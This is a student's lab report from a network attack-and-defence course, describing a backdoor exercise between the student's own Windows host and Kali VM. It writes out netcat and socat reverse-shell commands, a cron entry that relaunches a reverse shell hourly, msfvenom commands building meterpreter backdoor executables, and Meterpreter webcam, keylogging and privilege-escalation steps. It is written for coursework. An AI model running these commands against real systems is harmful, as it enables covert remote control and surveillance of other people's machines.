20222304 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

Amlyl發表於2024-10-22

一、 實驗內容
1.1 知識回顧
堆疊結構和堆疊變化
EIP:儲存下一條指令;EBP:棧底指標;ESP:棧頂指標。
棧溢位的三種方法:修改棧中鄰接變數;修改函式返回地址;程式碼植入。

shellcode構建
RET返回地址;NOP空(0X90);shellcode呼叫shell;
NSR模式;RNS模式;RS模式

緩衝區溢位的防範技術
源程式檢查:靜態檢查、動態檢查;陣列邊界檢查;執行時攔截檢查...
1.2回答問題
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
攻擊者傳送包含惡意附件的電子郵件,使用者在不知情的情況下下載並執行該附件。這種方式可能會利用使用者的信任情感,透過偽裝成合法檔案來隱藏其真實意圖。
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
win:1.登錄檔自啟動
2.任務計劃程式
3.服務
4.啟動資料夾
Linux:1.cron作業
2.rc.local
3.systemd服務4.
4..bashrc或.profile
(3)Meterpreter有哪些給你映像深刻的功能?
1.檔案系統訪問
2.螢幕捕獲
3.相機和麥克風控制
4.程序管理
(4)如何發現自己有系統有沒有被安裝後門?
1.監控網路流量:使用網路監控工具分析網路流量,查詢異常或未知的連線,尤其是傳送到不明IP地址的流量。
2.檢查執行的程序:使用工作管理員或top/ps命令檢視當前執行的程序,尋找可疑的或不熟悉的程序。
3.檢視自啟動項:在Windows中,檢查工作管理員的“啟動”選項卡和登錄檔中的自啟動項。在Linux中,檢查/etc/rc.local、systemd服務、cron作業等。
4.檔案系統審計:檢查檔案系統的完整性
1.3 實驗目標
(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。
二、實驗過程
2.1:使用netcat獲取主機操作Shell,cron啟動某項任務
先關閉防火牆和防毒軟體,在windows主機上安裝netcat。windows開啟終端,ipconfig檢視主機的IP地址。
如圖所示:

     首先Windows主機win+r並輸入cmd開啟終端,並進入ncat所在的資料夾,開啟監聽。輸入:ncat.exe -l -p 2304    #埠號2304

如圖所示:

     接著在kali中透過ncat與win11主機建立反彈式連線。輸入:nc 192.168.43.19 2304 -e /bin/sh    #IP是win11主機的,埠保持一致。

如圖所示:
然後可以成功獲取Linux主機的shell。
設定任務部分是透過修改crontabs/root檔案來設定定時任務。需要再Linux系統下輸入以下指令:crontab -e #執行文字編輯器來設定時程表,這裡選擇的是2:/usr/bin/vim.basic
如圖所示:
回車後選擇2,然後對其進行修改直接加入以下內容:30 * * * * /bin/netcat 192.168.43.19 2304 -e /bin/sh #IP地址是win主機的,在每小時的第30分鐘啟動任務。crontab -l #檢視時程表
如圖所示:
2.1.2:使用cron啟動自定義任務
然後需要在Windows系統主機中剛剛獲取的shell來進行操作。kali終端彈出提示,在Windows中無法對檔案進行修改操作,於是就需要對kali中記錄定時任務的檔案本身入手,以root的許可權開啟。檔案所在位置(/var/spool/cron目錄)但是這時候開啟crontabs資料夾發現其中並沒有root檔案,只有一個使用者名稱為lyl20222304的檔案,在看學長的部落格得知需要在root模式下輸入crontab -e,設定文字編輯器並修改時程表,即可自動生成root檔案。
如圖所示:
更改後結果:如圖:
然後還需要透過Windows獲取的shell繼續操作,首先進入root模式,這時要注意輸入密碼的提示是在Linux下,然後透過echo命令直接對檔案本身進行修改。
在虛擬機器的終端輸入crontab -e(執行文字編輯器來設定時程表)
在編輯器中最後一行新增* * * * * exch "20222304" >> /home/lyl.txt後,按:wq儲存。在桌面上生成txt檔案輸出學號:
如圖所示:


2.2使用socat獲取主機操作Shell, 任務計劃啟動
(1)Windows主機中下載socat,cmd進入socat資料夾,輸入命令:socat.exe tcp-listen:2304 exec:cmd.exe,pty,stderr(把cmd.exe繫結到埠2304,並把cmd.exe的stderr重定向到stdout)
如圖所示:
(2)Linux虛擬機器中進入root使用者,輸入命令:socat - tcp:192.168.43.19:2304
如圖所示:
這樣就成功呼叫主機shell了
(3)回到主機中拿出已經編好的程式碼,並且執行好之後,生成一個執行檔案,複製執行檔案的路徑,回到主機中,按win+x後再按g開啟計算機管理器看到該程式在執行,說明已經在Linux虛擬機器的控制下每分鐘執行上面的程式
如圖所示:
2.3在Linux下使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到Windows主機並執行獲取主機shell
(1)生成後門檔案,在kali中輸入ifconfig,獲得虛擬機器的IP地址:
如圖所示:
繼續輸入以下命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.69 LPORT=2304 -f exe > 20222304.exe
如圖所示:
(2)將後門檔案傳輸至目標主機,主機進入ncat所在目錄下。
如圖所示:
虛擬機器上輸入指令:nc 172.16.210.245 2304 < 20222304.exe Win主機接收到後門檔案20222304.exe。
如圖所示:
(3)配置監聽模組,回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置
如圖所示:
接著輸入exploit,使監聽模組開始執行,並在Windows終端執行後門20222304.exe檔案。在主機中執行植入的後門程式,輸入ls檢視Windows主機目錄
如圖所示:
2.4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權。
(1)獲取目標主機音訊、截圖、攝像頭、鍵盤記錄
如圖所示:
將利用MSF meterpreter生成獲取目標主機攝像頭的照片存到root使用者路徑中:
如圖所示:
(2)提權。在exploit模組中繼續輸入
如圖所示:
2.5使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
在kali虛擬機器的終端中輸入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.69 LPORT=2304 -x /home/lyl20222304/pwn2 -f elf > 2304pwn
如圖所示:
對生成的pwn20222307檔案賦予許可權,輸入chmod a+x 2304pwn
輸入指令msfconsole,輸入以下程式碼,重現監聽過程,開啟另一個終端,執行2304pwn檔案,回到上一個msfconsole那個shell中,輸入ls檢視虛擬機器root使用者下的所有檔案:
如圖所示:

3.問題及解決方案
!!!!!最重要的問題:由於軟體衝突問題導致視窗無法顯示(搞得我做實驗很崩潰)
解決方案:經同學查資料得知解決方法

4.學習感悟、思考等
透過本次實驗,我掌握了netcat,socat和meterpreter的使用方式,並且學會了如何在Windows和Linux下如何去設定後門程式,獲取目標主機的shell訪問許可權等。讓我對知識點的理解更加深刻。
並且讓我對網路駭客的強大有了更深刻的體悟,認識到網路工具的強大,可以如此輕易的獲取其他主機的許可權,這讓我認識到了不同於課本內容的知識體會,透過本次實驗讓我的網路安全意識得到極大的提高。
實驗中也遇到了很多小問題,也有很多是由於自己的粗心大意導致在某些地方卡住很久,浪費大量時間,以後一定要更加仔細的學習,仔細認真。(除了那個視窗問題真的讓我破防加紅溫,這次實驗還算順利)

相關文章